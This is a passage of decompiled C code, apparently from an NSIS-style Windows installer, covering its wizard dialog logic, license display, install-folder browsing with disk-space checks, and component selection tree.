sub_40140B(2);
return 2;
}
sub_40140B(1);
return 0;
}
ShowWindow(dword_41FCB8, 5);
if ( !LoadLibraryA("RichEd20") )
LoadLibraryA("RichEd32");
if ( !GetClassInfoA(0, "RichEdit20A", &WndClass) )
{
GetClassInfoA(0, "RichEdit", &WndClass);
WndClass.lpszClassName = "RichEdit20A";
RegisterClassA(&WndClass);
}
v10 = DialogBoxParamA(hInstance, (LPCSTR)(unsigned __int16)(dword_422EC0 + 105), 0, sub_4039A0, 0);
sub_40140B(5);
sub_40355E(1);
return v10;
}
const CHAR *sub_4038D3()
{
signed __int16 v0; // bx@1
__int16 v1; // ax@1
int v2; // esi@2
int v3; // ecx@3
const CHAR *v4; // eax@11
const CHAR *result; // eax@11
int v6; // esi@11
int v7; // edi@12
v0 = -1;
v1 = sub_405AEF(&FileName);
while ( 1 )
{
v2 = dword_423724;
if ( dword_423724 )
{
v3 = dword_423720 + dword_423724 * *(_DWORD *)(dword_4236F0 + 100);
while ( 1 )
{
v3 -= *(_DWORD *)(dword_4236F0 + 100);
--v2;
if ( !((unsigned __int16)v0 & (unsigned __int16)(v1 ^ *(_WORD *)v3)) )
break;
if ( !v2 )
goto LABEL_8;
}
dword_422EC0 = *(_DWORD *)(v3 + 2);
dword_423788 = *(_DWORD *)(v3 + 6);
if ( v3 != -10 )
break;
}
LABEL_8:
if ( v0 == -1 )
v0 = 1023;
else
v0 = 0;
}
dword_422EBC = v3 + 10;
sub_405AD6((LPSTR)&FileName, *(_WORD *)v3);
v4 = sub_405B9A(chText, -2);
SetWindowTextA(dword_41FCB8, v4);
result = (const CHAR *)dword_42370C;
v6 = dword_423708;
if ( dword_42370C )
{
v7 = dword_42370C;
do
{
result = *(const CHAR **)v6;
if ( *(_DWORD *)v6 )
result = sub_405B9A((LPSTR)(v6 + 24), *(_DWORD *)v6);
v6 += 1048;
--v7;
}
while ( v7 );
}
return result;
}
INT_PTR __stdcall sub_4039A0(HWND hWndInsertAfter, UINT a2, WPARAM wParam, LPARAM lParam)
{
HWND v4; // edi@3
HWND v6; // eax@12
HWND v7; // edi@12
WPARAM v8; // eax@28
LPARAM v9; // esi@30
int v10; // ebx@40
HWND v11; // eax@40
int v12; // ebx@42
HMENU v13; // eax@42
int v14; // ST18_4@45
int v15; // eax@45
HWND v16; // eax@52
HWND v17; // eax@53
struct tagRECT Rect; // [sp+10h] [bp-10h]@53
HWND wParama; // [sp+2Ch] [bp+Ch]@40
if ( a2 == 272 || a2 == 1032 )
{
v8 = wParam;
v4 = hWndInsertAfter;
dword_41FCC0 = wParam;
if ( a2 == 272 )
{
hwnd = hWndInsertAfter;
::wParam = GetDlgItem(hWndInsertAfter, 1);
dword_41ECA0 = GetDlgItem(hWndInsertAfter, 2);
sub_403E73(hWndInsertAfter, 28, -1);
SetClassLongA(hWndInsertAfter, -14, dwNewLong);
dword_422EAC = sub_40140B(4);
v8 = 1;
dword_41FCC0 = 1;
}
v9 = dword_423700 + (dword_4091D4 << 6);
if ( dword_4091D4 < 0 )
goto LABEL_62;
if ( v8 == 1 && sub_401389(*(_DWORD *)(dword_423700 + (dword_4091D4 << 6) + 16), 0) )
{
SendMessageA(hDlg, 0x40Fu, 0, 1);
return dword_422EAC == 0;
}
if ( *(_DWORD *)v9 )
{
LABEL_62:
sub_403EBF(0x40Bu);
while ( 1 )
{
do
{
dword_4091D4 += dword_41FCC0;
v9 += dword_41FCC0 << 6;
if ( dword_4091D4 == dword_423704 )
sub_40140B(1);
if ( dword_422EAC || dword_4091D4 >= (unsigned int)dword_423704 )
{
DestroyWindow(hDlg);
hwnd = 0;
EndDialog(hWndInsertAfter, nResult);
goto LABEL_56;
}
v10 = *(_DWORD *)(v9 + 20);
sub_405B9A(byte_42B800, *(_DWORD *)(v9 + 36));
sub_403E73(hWndInsertAfter, -999, *(_DWORD *)(v9 + 32));
sub_403E73(hWndInsertAfter, -997, *(_DWORD *)(v9 + 28));
sub_403E73(hWndInsertAfter, -998, *(_DWORD *)(v9 + 40));
v11 = GetDlgItem(hWndInsertAfter, 3);
wParama = v11;
if ( dword_42376C )
LOWORD(v10) = v10 & 0xFEFD | 4;
ShowWindow(v11, v10 & 8);
EnableWindow(wParama, v10 & 0x100);
sub_403E95(v10 & 2);
v12 = v10 & 4;
EnableWindow(dword_41ECA0, v12);
v13 = GetSystemMenu(hWndInsertAfter, 0);
EnableMenuItem(v13, 0xF060u, v12 == 0);
SendMessageA(wParama, 0xF4u, 0, 1);
if ( dword_42376C )
{
SendMessageA(hWndInsertAfter, 0x401u, 2u, 0);
sub_403EA8((WPARAM)dword_41ECA0);
}
else
{
sub_403EA8((WPARAM)::wParam);
}
sub_405B78((LPSTR)&byte_41FCD8, chText);
v14 = *(_DWORD *)(v9 + 24);
v15 = lstrlenA(&byte_41FCD8);
sub_405B9A((LPSTR)&byte_41FCD8 + v15, v14);
SetWindowTextA(hWndInsertAfter, &byte_41FCD8);
}
while ( sub_401389(*(_DWORD *)(v9 + 8), 0) || !*(_DWORD *)v9 );
if ( *(_DWORD *)(v9 + 4) != 5 )
break;
if ( dword_42376C || !dword_423760[0] )
return 0;
}
DestroyWindow(hDlg);
dword_41F4B0 = v9;
if ( *(_DWORD *)v9 > 0 )
{
v16 = CreateDialogParamA(
hInstance,
(LPCSTR)(unsigned __int16)(dword_422EC0 + *(_WORD *)v9),
hWndInsertAfter,
*(&lpDialogFunc + *(_DWORD *)(v9 + 4)),
v9);
hDlg = v16;
if ( v16 )
{
sub_403E73(v16, 6, *(_DWORD *)(v9 + 44));
v17 = GetDlgItem(hWndInsertAfter, 1018);
GetWindowRect(v17, &Rect);
ScreenToClient(hWndInsertAfter, (LPPOINT)&Rect);
SetWindowPos(hDlg, 0, Rect.left, Rect.top, 0, 0, 0x15u);
sub_401389(*(_DWORD *)(v9 + 12), 0);
if ( dword_422EAC )
return 0;
ShowWindow(hDlg, 8);
sub_403EBF(0x405u);
}
}
goto LABEL_56;
}
}
else
{
v4 = hWndInsertAfter;
if ( a2 == 71 )
SetWindowPos(dword_41FCB8, hWndInsertAfter, 0, 0, 0, 0, 0x13u);
if ( a2 == 5 )
ShowWindow(dword_41FCB8, wParam != 1 ? 5 : 0);
if ( a2 == 1037 )
{
DestroyWindow(hDlg);
hDlg = (HWND)wParam;
LABEL_56:
if ( !dword_420CD8 )
{
if ( hDlg )
{
ShowWindow(v4, 10);
dword_420CD8 = 1;
}
}
return 0;
}
if ( a2 == 17 )
{
SetWindowLongA(hWndInsertAfter, 0, 0);
return 1;
}
if ( a2 != 273 )
return sub_403EDA(a2, (HDC)wParam, (HWND)lParam);
v6 = GetDlgItem(hWndInsertAfter, (unsigned __int16)wParam);
v7 = v6;
if ( !v6 || (SendMessageA(v6, 0xF3u, 0, 0), IsWindowEnabled(v7)) )
{
if ( (unsigned __int16)wParam == 1 )
{
sub_403E4C(1u);
return sub_403EDA(a2, (HDC)wParam, (HWND)lParam);
}
if ( (unsigned __int16)wParam == 3 )
{
if ( dword_4091D4 > 0 )
{
sub_403E4C(0xFFFFFFFF);
return sub_403EDA(a2, (HDC)wParam, (HWND)lParam);
}
goto LABEL_26;
}
if ( (unsigned __int16)wParam != 2 )
{
LABEL_26:
SendMessageA(hDlg, 0x111u, wParam, lParam);
return sub_403EDA(a2, (HDC)wParam, (HWND)lParam);
}
if ( dword_42376C )
{
sub_40140B(2);
nResult = 2;
LABEL_22:
sub_403E4C(0x78u);
return sub_403EDA(a2, (HDC)wParam, (HWND)lParam);
}
if ( !sub_40140B(3) )
{
nResult = 1;
goto LABEL_22;
}
return sub_403EDA(a2, (HDC)wParam, (HWND)lParam);
}
}
return 0;
}
LRESULT __stdcall sub_403E4C(WPARAM wParam)
{
if ( wParam == 120 )
++dword_422EAC;
return SendMessageA(hwnd, 0x408u, wParam, 0);
}
BOOL __stdcall sub_403E73(HWND hDlg, int a2, int a3)
{
const CHAR *v3; // eax@1
v3 = sub_405B9A(0, a3);
return SetDlgItemTextA(hDlg, a2 + 1000, v3);
}
BOOL __stdcall sub_403E95(BOOL bEnable)
{
return EnableWindow(wParam, bEnable);
}
LRESULT __stdcall sub_403EA8(WPARAM wParam)
{
return SendMessageA(hwnd, 0x28u, wParam, 1);
}
HWND __stdcall sub_403EBF(UINT Msg)
{
HWND result; // eax@1
result = hDlg;
if ( hDlg )
result = (HWND)SendMessageA(hDlg, Msg, 0, 0);
return result;
}
int __stdcall sub_403EDA(int a1, HDC hdc, HWND hWnd)
{
LONG v3; // eax@2
LONG v4; // esi@2
bool v5; // zf@3
DWORD v6; // eax@3
DWORD v7; // eax@7
int result; // eax@15
LOGBRUSH plbrush; // [sp+4h] [bp-Ch]@7
if ( (unsigned int)(a1 - 307) <= 5 && (v3 = GetWindowLongA(hWnd, -21), (v4 = v3) != 0) )
{
v5 = (*(_BYTE *)(v3 + 20) & 2) == 0;
v6 = *(_DWORD *)v3;
if ( !v5 )
v6 = GetSysColor(v6);
if ( *(_BYTE *)(v4 + 20) & 1 )
SetTextColor(hdc, v6);
SetBkMode(hdc, *(_DWORD *)(v4 + 16));
v7 = *(_DWORD *)(v4 + 4);
v5 = (*(_BYTE *)(v4 + 20) & 8) == 0;
plbrush.lbColor = *(_DWORD *)(v4 + 4);
if ( !v5 )
{
v7 = GetSysColor(v7);
plbrush.lbColor = v7;
}
if ( *(_BYTE *)(v4 + 20) & 4 )
SetBkColor(hdc, v7);
if ( *(_BYTE *)(v4 + 20) & 0x10 )
{
plbrush.lbStyle = *(_DWORD *)(v4 + 8);
if ( *(_DWORD *)(v4 + 12) )
DeleteObject(*(HGDIOBJ *)(v4 + 12));
*(_DWORD *)(v4 + 12) = CreateBrushIndirect(&plbrush);
}
result = *(_DWORD *)(v4 + 12);
}
else
{
result = 0;
}
return result;
}
int __stdcall sub_403F87(int a1, LPSTR lpString1, int iMaxLength, int a4)
{
int v4; // eax@1
lstrcpynA(lpString1, (LPCSTR)(a1 + dword_41ECA4), iMaxLength);
v4 = lstrlenA(lpString1);
*(_DWORD *)a4 = v4;
dword_41ECA4 += v4;
return 0;
}
int __stdcall sub_403FBC(HWND hDlg, int a2, HDC hdc, WPARAM wParam)
{
WPARAM v4; // ebx@2
int v5; // edi@2
int v6; // ST14_4@4
_BYTE *v7; // edi@4
int v8; // eax@4
const CHAR *v9; // edi@4
unsigned int v10; // esi@4
HWND v11; // ebx@4
signed __int32 v12; // eax@4
int v13; // eax@6
unsigned int *v15; // edi@10
HWND v16; // eax@11
char v17; // al@11
HWND v18; // eax@13
HWND v19; // edi@13
LPARAM v20; // edx@15
HCURSOR v21; // eax@16
HCURSOR v22; // eax@16
LPARAM lParam; // [sp+Ch] [bp-Ch]@4
int v24; // [sp+10h] [bp-8h]@4
LPCSTR lpFile; // [sp+14h] [bp-4h]@4
WPARAM wParama; // [sp+2Ch] [bp+14h]@4
if ( a2 == 272 )
{
v4 = wParam;
v5 = *(_DWORD *)(wParam + 48);
if ( v5 < 0 )
v5 = *(_DWORD *)(dword_422EBC - (4 * v5 + 4));
v6 = *(_DWORD *)(wParam + 52);
v7 = (_BYTE *)(dword_423718 + v5);
wParama = *v7;
v8 = *(_DWORD *)(v4 + 20);
v24 = 0;
v9 = v7 + 1;
lParam = (LPARAM)v9;
lpFile = (LPCSTR)sub_403F87;
v10 = v8 & 1 | ((unsigned int)~v8 >> 5) & 1;
sub_403E73(hDlg, 34, v6);
sub_403E73(hDlg, 35, *(_DWORD *)(v4 + 56));
CheckDlgButton(hDlg, (v10 == 0) + 1034, 1u);
sub_403E95(v10);
v11 = GetDlgItem(hDlg, 1000);
sub_403EA8((WPARAM)v11);
SendMessageA(v11, 0x45Bu, 1u, 0);
v12 = *(_DWORD *)(dword_4236F0 + 104);
if ( v12 < 0 )
v12 = GetSysColor(-v12);
SendMessageA(v11, 0x443u, 0, v12);
SendMessageA(v11, 0x445u, 0, 67174400);
v13 = lstrlenA(v9);
SendMessageA(v11, 0x435u, 0, v13);
dword_41ECA4 = 0;
SendMessageA(v11, 0x449u, wParama, (LPARAM)&lParam);
dword_41ECA4 = 0;
return 0;
}
if ( a2 == 273 )
{
if ( HIWORD(hdc)
|| dword_41ECA4
|| (v15 = (unsigned int *)(dword_41F4B0 + 20), !(*(_BYTE *)(dword_41F4B0 + 20) & 0x20)) )
{
LABEL_26:
v19 = (HWND)wParam;
return sub_403EDA(a2, hdc, v19);
}
v16 = GetDlgItem(hDlg, 1034);
v17 = SendMessageA(v16, 0xF0u, 0, 0);
*v15 = v17 & 1 | *v15 & 0xFFFFFFFE;
sub_403E95(v17 & 1);
sub_404246();
}
if ( a2 != 78 )
{
if ( a2 == 1035 )
++dword_41ECA4;
goto LABEL_26;
}
v18 = GetDlgItem(hDlg, 1000);
v19 = (HWND)wParam;
if ( *(_DWORD *)(wParam + 8) == 1803 && *(_DWORD *)(wParam + 12) == 513 )
{
v20 = *(_DWORD *)(wParam + 24);
v24 = *(_DWORD *)(wParam + 28);
lParam = v20;
lpFile = &String;
if ( (unsigned int)(v24 - v20) < 0x800 )
{
SendMessageA(v18, 0x44Bu, 0, (LPARAM)&lParam);
v21 = LoadCursorA(0, (LPCSTR)0x7F02);
SetCursor(v21);
ShellExecuteA(hDlg, Operation, lpFile, 0, 0, 1);
v22 = LoadCursorA(0, (LPCSTR)0x7F00);
SetCursor(v22);
v19 = (HWND)wParam;
}
}
if ( *((_DWORD *)v19 + 2) != 1792 || *((_DWORD *)v19 + 3) != 256 )
return sub_403EDA(a2, hdc, v19);
if ( *((_DWORD *)v19 + 4) == 13 )
SendMessageA(hwnd, 0x111u, 1u, 0);
if ( *((_DWORD *)v19 + 4) == 27 )
SendMessageA(hwnd, 0x10u, 0, 0);
return 1;
}
LRESULT sub_404246()
{
HWND v0; // eax@1
v0 = dword_41ECA0;
if ( !dword_42376C )
v0 = wParam;
return SendMessageA(v0, 0xF4u, 1u, 1);
}
int __stdcall sub_40426A(HWND hDlg, int a2, HDC hdc, HWND hWnd)
{
if ( a2 == 272 )
{
sub_403E73(hDlg, 29, *((_DWORD *)hWnd + 12));
SetDlgItemTextA(hDlg, 1000, &byte_424000[1024 * *((_DWORD *)hWnd + 15)]);
}
return sub_403EDA(a2, hdc, hWnd);
}
int __stdcall sub_4042B1(HWND hDlg, int a2, HDC hdc, HWND hWnd)
{
CHAR *v4; // ebx@1
HWND v5; // edi@4
HMODULE v6; // eax@7
LPITEMIDLIST v7; // eax@14
_BYTE *v8; // edi@25
LPSTR v9; // eax@30
const CHAR *v10; // eax@31
unsigned int v11; // edi@34
unsigned int v12; // eax@37
struct _browseinfoA bi; // [sp+Ch] [bp-48h]@14
unsigned __int64 v15; // [sp+2Ch] [bp-28h]@27
int v16; // [sp+34h] [bp-20h]@1
char v17; // [sp+38h] [bp-1Ch]@27
DWORD BytesPerSector; // [sp+3Ch] [bp-18h]@33
char v19; // [sp+40h] [bp-14h]@27
DWORD SectorsPerCluster; // [sp+44h] [bp-10h]@33
DWORD NumberOfFreeClusters; // [sp+48h] [bp-Ch]@25
int v22; // [sp+4Ch] [bp-8h]@1
int v23; // [sp+50h] [bp-4h]@23
v16 = dword_41F4B0;
v4 = &byte_424000[1024 * *(_DWORD *)(dword_41F4B0 + 60)];
v22 = *(_DWORD *)(dword_41F4B0 + 56);
if ( a2 == 1035 )
{
sub_405370(1019, v4);
sub_405DE3(v4);
}
if ( a2 == 272 )
{
v5 = GetDlgItem(hDlg, 1019);
if ( sub_405675((int)v4) && !sub_4056A1(v4) )
sub_405608(v4);
::hDlg = hDlg;
SetWindowTextA(v5, v4);
sub_403E73(hDlg, 1, *((_DWORD *)hWnd + 13));
sub_403E73(hDlg, 20, *((_DWORD *)hWnd + 12));
sub_403EA8((WPARAM)v5);
v6 = sub_405EA3(8);
if ( !v6 )
return sub_403EDA(a2, hdc, hWnd);
((void (__stdcall *)(HWND, signed int))v6)(v5, 1);
}
if ( a2 == 273 )
{
if ( (unsigned __int16)hdc == 1019 )
{
if ( HIWORD(hdc) != 768 )
return sub_403EDA(a2, hdc, hWnd);
a2 = 1039;
}
if ( (unsigned __int16)hdc == 1001 )
{
memset(&bi.pidlRoot, 0, 0x1Cu);
bi.hwndOwner = hDlg;
bi.pszDisplayName = (LPSTR)&byte_41FCD8;
bi.lpfn = (BFFCALLBACK)sub_4045E6;
bi.lParam = (LPARAM)v4;
bi.lpszTitle = sub_405B9A(byte_41F0B0, v22);
bi.ulFlags = 65;
v7 = SHBrowseForFolderA(&bi);
if ( v7 )
{
CoTaskMemFree(v7);
sub_405608(v4);
if ( *(_DWORD *)(dword_4236F0 + 284) )
{
if ( v4 == &byte_429400 )
{
sub_405B9A(0, *(_DWORD *)(dword_4236F0 + 284));
if ( lstrcmpiA(&String, &byte_41FCD8) )
lstrcatA(v4, &String);
}
}
++dword_41FCC8;
SetDlgItemTextA(hDlg, 1019, v4);
}
else
{
a2 = 1039;
}
}
}
if ( a2 == 1039 || a2 == 1029 )
{
v23 = 0;
v22 = 0;
sub_405370(1019, v4);
if ( !sub_4056F6(v4) )
v23 = 1;
sub_405B78(RootPathName, v4);
v8 = 0;
NumberOfFreeClusters = (DWORD)sub_405EA3(0);
if ( NumberOfFreeClusters && RootPathName )
{
while ( !((int (__stdcall *)(CHAR *, unsigned __int64 *, char *, char *))NumberOfFreeClusters)(
RootPathName,
&v15,
&v19,
&v17) )
{
if ( v8 )
*v8 = 0;
v9 = sub_40564F(RootPathName);
*v9 = 0;
v8 = v9 - 1;
*(v9 - 1) = 92;
if ( v9 - 1 == RootPathName )
goto LABEL_31;
}
v11 = v15 >> 10;
v22 = 1;
}
else
{
LABEL_31:
sub_405B78(RootPathName, v4);
v10 = sub_4056A1(RootPathName);
if ( v10 )
*v10 = 0;
if ( GetDiskFreeSpaceA(
RootPathName,
&SectorsPerCluster,
&BytesPerSector,
&NumberOfFreeClusters,
(LPDWORD)&v15 + 1) )
{
v11 = MulDiv(BytesPerSector * SectorsPerCluster, NumberOfFreeClusters, 1024);
v22 = 1;
}
else
{
v11 = a2;
}
}
v12 = sub_404701(5);
if ( v22 && v11 < v12 )
v23 = 2;
if ( *(_DWORD *)(dword_422EBC + 16) )
{
sub_40464C(1023, -5, v12);
if ( v22 )
sub_40464C(1024, -4, v11);
else
SetDlgItemTextA(hDlg, 1024, pszPath);
}
dword_423784 = v23;
if ( !v23 )
v23 = sub_40140B(7);
if ( *(_DWORD *)(v16 + 20) & 0x400 )
v23 = 0;
sub_403E95(v23 == 0);
if ( !v23 && !dword_41FCC8 )
sub_404246();
dword_41FCC8 = 0;
}
return sub_403EDA(a2, hdc, hWnd);
}
int __stdcall sub_4045E6(HWND hWnd, int a2, LPCITEMIDLIST pidl, LPARAM lParam)
{
LPARAM v4; // eax@6
if ( a2 == 1 )
{
sub_405370(1019, (LPSTR)lParam);
SendMessageA(hWnd, 0x466u, 1u, lParam);
}
if ( a2 == 2 )
{
v4 = SHGetPathFromIDListA(pidl, (LPSTR)lParam) && !sub_40140B(7);
SendMessageA(hWnd, 0x465u, 0, v4);
}
return 0;
}
BOOL __stdcall sub_40464C(int nIDDlgItem, int a2, int a3)
{
unsigned int v3; // esi@1
char v4; // di@1
int v5; // ebx@1
const CHAR *v6; // ST18_4@7
const CHAR *v7; // ST14_4@7
unsigned int v8; // ST10_4@7
unsigned int v9; // ST0C_4@7
const CHAR *v10; // edi@7
int v11; // eax@7
CHAR v13; // [sp+Ch] [bp-40h]@7
CHAR String1; // [sp+2Ch] [bp-20h]@7
v3 = a3;
v4 = 20;
v5 = -36;
if ( (unsigned int)a3 < 0x100000 )
{
v4 = 10;
v5 = -35;
}
if ( (unsigned int)a3 < 0x400 )
{
v4 = 0;
v5 = -34;
}
if ( (unsigned int)a3 < 0xFFFF3333 )
v3 = (1 << v4) / 20 + a3;
v6 = sub_405B9A(&String1, -33);
v7 = sub_405B9A(&v13, v5);
v8 = (10 * (v3 & 0xFFFFFF) >> v4) % 0xA;
v9 = v3 >> v4;
v10 = sub_405B9A((LPSTR)&byte_41FCD8, a2);
v11 = lstrlenA(&byte_41FCD8);
wsprintfA((LPSTR)&v10[v11], aU_USS, v9, v8, v7, v6);
return SetDlgItemTextA(hDlg, nIDDlgItem, &byte_41FCD8);
}
int __stdcall sub_404701(int a1)
{
int v1; // edx@1
int v2; // ecx@1
int result; // eax@1
v1 = dword_42370C;
v2 = dword_423708;
for ( result = 0; v1; --v1 )
{
if ( *(_BYTE *)(v2 + 8) & 1 )
result += *(_DWORD *)(v2 + 4 * a1);
v2 += 1048;
}
return result;
}
int __stdcall sub_40472E(HWND hWnd, int a2)
{
LRESULT v2; // eax@1
DWORD v3; // eax@2
LPARAM lParam; // [sp+8h] [bp-38h]@5
LRESULT v6; // [sp+Ch] [bp-34h]@5
int v7; // [sp+2Ch] [bp-14h]@5
struct tagPOINT Point; // [sp+30h] [bp-10h]@2
char v9; // [sp+38h] [bp-8h]@2
LRESULT v10; // [sp+3Ch] [bp-4h]@4
v2 = SendMessageA(hWnd, 0x110Au, 9u, 0);
if ( a2 )
{
v3 = GetMessagePos();
Point.y = SHIWORD(v3);
Point.x = (signed __int16)v3;
ScreenToClient(hWnd, &Point);
SendMessageA(hWnd, 0x1111u, 0, (LPARAM)&Point);
if ( !(v9 & 0x66) )
return -1;
v2 = v10;
}
v6 = v2;
lParam = 4;
SendMessageA(hWnd, 0x110Cu, 0, (LPARAM)&lParam);
return v7;
}
LPSTR __stdcall sub_4047AE(int a1, int a2)
{
sub_405B78((LPSTR)&byte_41FCD8, byte_424000);
sub_405AD6(byte_424000, a2);
sub_40140B(a1);
return sub_405B78(byte_424000, &byte_41FCD8);
}
int __stdcall sub_4047E0(HWND hDlg, int a2, HDC hdc, HWND a4)
{
HBITMAP v4; // eax@2
HBITMAP v5; // edi@2
LPARAM v6; // edi@4
int v7; // eax@5
const CHAR *v8; // eax@8
LRESULT v9; // eax@8
int v10; // edi@10
LPARAM v11; // ebx@10
int v12; // edx@11
int v13; // eax@13
LRESULT v14; // eax@14
LONG v15; // eax@20
HWND v16; // ecx@25
int v17; // eax@34
int v18; // edi@34
int *v19; // ecx@35
int v20; // eax@35
int v21; // eax@37
int v22; // eax@46
LRESULT v23; // eax@51
LRESULT v24; // edi@52
HDC v25; // eax@65
signed int v26; // edi@70
signed int v27; // eax@70
WPARAM i; // ecx@70
int v29; // edi@76
signed int v30; // ecx@78
int v31; // eax@81
int v32; // eax@87
HWND v33; // eax@90
LPARAM lParam; // [sp+Ch] [bp-50h]@13
int v36; // [sp+10h] [bp-4Ch]@13
int v37; // [sp+14h] [bp-48h]@13
LPARAM v38; // [sp+18h] [bp-44h]@78
LPARAM v39; // [sp+1Ch] [bp-40h]@13
int v40; // [sp+20h] [bp-3Ch]@13
int v41; // [sp+24h] [bp-38h]@13
int v42; // [sp+28h] [bp-34h]@79
int v43; // [sp+34h] [bp-28h]@14
int v44; // [sp+38h] [bp-24h]@13
_DWORD *v45; // [sp+40h] [bp-1Ch]@2
int v46; // [sp+44h] [bp-18h]@11
int v47; // [sp+48h] [bp-14h]@1
int v48; // [sp+4Ch] [bp-10h]@1
HWND v49; // [sp+50h] [bp-Ch]@2
HWND v50; // [sp+54h] [bp-8h]@1
HWND hWnd; // [sp+58h] [bp-4h]@1
v50 = GetDlgItem(hDlg, 1017);
hWnd = GetDlgItem(hDlg, 1032);
v48 = dword_423708;
v47 = dword_4236F0 + 148;
if ( a2 == 272 )
{
v45 = 0;
v49 = (HWND)2;
dword_423740 = (int)hDlg;
dword_41FCD0 = GlobalAlloc(0x40u, 4 * dword_42370C);
v4 = LoadBitmapA(hInstance, (LPCSTR)0x6E);
dword_41FCC4 = -1;
v5 = v4;
lpPrevWndFunc = (WNDPROC)SetWindowLongA(hWnd, -4, (LONG)sub_404DD7);
himl = (LPARAM)ImageList_Create(16, 16, 0x21u, 6, 0);
ImageList_AddMasked((HIMAGELIST)himl, v5, 0xFF00FFu);
SendMessageA(hWnd, 0x1109u, 2u, himl);
if ( SendMessageA(hWnd, 0x111Cu, 0, 0) < 16 )
SendMessageA(hWnd, 0x111Bu, 0x10u, 0);
DeleteObject(v5);
v6 = 0;
do
{
v7 = *(_DWORD *)(v47 + 4 * v6);
if ( v7 )
{
if ( v6 != 32 )
v49 = 0;
v8 = sub_405B9A(0, v7);
v9 = SendMessageA(v50, 0x143u, 0, (LPARAM)v8);
SendMessageA(v50, 0x151u, v9, v6);
}
++v6;
}
while ( v6 < 33 );
sub_403E73(hDlg, 21, *((_DWORD *)a4 + (_DWORD)v49 + 12));
sub_403E73(hDlg, 22, *((_DWORD *)a4 + (_DWORD)v49 + 13));
v10 = 0;
v11 = 0;
if ( dword_42370C <= 0 )
goto LABEL_94;
v12 = v48 + 8;
v46 = v48 + 8;
do
{
if ( *(_BYTE *)(v12 + 16) )
{
v41 = v12 + 16;
v13 = *(_DWORD *)v12;
lParam = v11;
v36 = -65534;
v37 = 13;
v40 = 32;
v44 = v10;
v39 = v13 & 0x20;
if ( v13 & 2 )
{
v37 = 77;
v43 = 1;
v14 = SendMessageA(hWnd, 0x1100u, 0, (LPARAM)&lParam);
v45 = (_DWORD *)1;
*((_DWORD *)dword_41FCD0 + v10) = v14;
v11 = *((_DWORD *)dword_41FCD0 + v10);
}
else if ( v13 & 4 )
{
v11 = SendMessageA(hWnd, 0x110Au, 3u, v11);
}
else
{
*((_DWORD *)dword_41FCD0 + v10) = SendMessageA(hWnd, 0x1100u, 0, (LPARAM)&lParam);
}
}
++v10;
v12 = v46 + 1048;
v46 += 1048;
}
while ( v10 < dword_42370C );
if ( !v45 )
{
LABEL_94:
v15 = GetWindowLongA(hWnd, -16);
LOBYTE(v15) = v15 & 0xFB;
SetWindowLongA(hWnd, -16, v15);
}
if ( !v49 )
{
ShowWindow(v50, 5);
sub_403EA8((WPARAM)v50);
return sub_403EDA(a2, hdc, a4);
}
sub_403EA8((WPARAM)hWnd);
}
if ( a2 == 1029 )
{
hdc = 0;
v16 = (HWND)1;
a2 = 1039;
a4 = (HWND)1;
}
else
{
v16 = a4;
}
if ( a2 == 78 || a2 == 1043 )
{
v49 = v16;
if ( a2 == 1043 || *((_DWORD *)v16 + 1) == 1032 )
{
if ( !(BYTE1(dword_4236F8) & 2) && (a2 == 1043 || *((_DWORD *)a4 + 2) == -2) )
{
v17 = sub_40472E(hWnd, a2 != 1043);
v18 = v17;
if ( v17 >= 0 )
{
v19 = (int *)(1048 * v17 + v48 + 8);
v20 = *v19;
if ( !(*v19 & 0x10) )
{
if ( v20 & 0x40 )
{
v21 = v20 ^ 0x80;
if ( (char)v21 >= 0 )
LOBYTE(v21) = v21 & 0xFE;
else
LOBYTE(v21) = v21 | 1;
}
else
{
v21 = v20 ^ 1;
}
*v19 = v21;
sub_40117D(v18);
hdc = (HDC)(v18 + 1);
a4 = (HWND)(((unsigned int)~dword_4236F8 >> 8) & 1);
a2 = 1039;
}
}
}
if ( v49 )
{
if ( *((_DWORD *)v49 + 2) == -402 )
SendMessageA(hWnd, 0x419u, 0, *((_DWORD *)v49 + 23));
if ( *((_DWORD *)v49 + 2) == -406 )
{
v22 = *((_DWORD *)v49 + 23);
if ( *((_DWORD *)v49 + 3) == 2 )
*(_DWORD *)(1048 * v22 + v48 + 8) |= 0x20u;
else
*(_DWORD *)(1048 * v22 + v48 + 8) &= 0xFFFFFFDF;
}
}
}
}
if ( a2 == 273 )
{
if ( hdc != (HDC)66553 )
return sub_403EDA(a2, hdc, a4);
v23 = SendMessageA(v50, 0x147u, 0, 0);
if ( v23 == -1 )
return sub_403EDA(a2, hdc, a4);
v24 = SendMessageA(v50, 0x150u, v23, 0);
if ( v24 == -1 || !*(_DWORD *)(v47 + 4 * v24) )
v24 = 32;
sub_401299(v24);
SendMessageA(hDlg, 0x420u, 0, v24);
hdc = (HDC)-1;
a4 = 0;
a2 = 1039;
}
if ( a2 == 512 )
SendMessageA(hWnd, 0x200u, 0, 0);
if ( a2 == 1035 )
{
if ( himl )
ImageList_Destroy((HIMAGELIST)himl);
if ( dword_41FCD0 )
GlobalFree(dword_41FCD0);
himl = 0;
dword_41FCD0 = 0;
dword_423740 = 0;
}
if ( a2 == 1039 )
{
sub_4011EF(0, 0);
v25 = hdc;
if ( hdc )
{
if ( hdc != (HDC)-1 )
v25 = (HDC)((char *)hdc - 1);
sub_4047AE(8, (int)v25);
}
if ( a4 )
{
v26 = sub_4012E2((int)dword_41FCD0);
sub_401299(v26);
v27 = 0;
for ( i = 0; v27 < v26; ++v27 )
{
if ( *(_DWORD *)(v47 + 4 * v27) )
++i;
}
SendMessageA(v50, 0x14Eu, i, 0);
a4 = (HWND)v26;
a2 = 1056;
}
sub_4011EF(0, 0);
v45 = dword_41FCD0;
v41 = 61488;
v48 = 0;
if ( dword_42370C > 0 )
{
v29 = dword_423708 + 8;
do
{
if ( v45[v48] )
{
v30 = *(_DWORD *)v29;
v39 = v45[v48];
v38 = 8;
if ( BYTE1(v30) & 1 )
{
v38 = 9;
v42 = v29 + 16;
*(_BYTE *)(v29 + 1) &= 0xFEu;
}
if ( v30 & 0x40 )
{
v31 = 3;
}
else
{
v31 = (v30 & 1) + 1;
if ( v30 & 0x10 )
v31 = (v30 & 1) + 4;
}
v40 = v30 & 0x20 | 2 * (v30 & 8 | (v31 << 11));
SendMessageA(hWnd, 0x1102u, ((v30 >> 5) & 1) + 1, v39);
SendMessageA(hWnd, 0x110Du, 0, (LPARAM)&v38);
}
++v48;
v29 += 1048;
}
while ( v48 < dword_42370C );
}
InvalidateRect(hWnd, 0, 1);
if ( *(_DWORD *)(dword_422EBC + 16) )
{
v32 = sub_404701(5);
sub_40464C(1023, -5, v32);
}
}
if ( a2 == 1056 && BYTE1(dword_4236F8) & 1 )
{
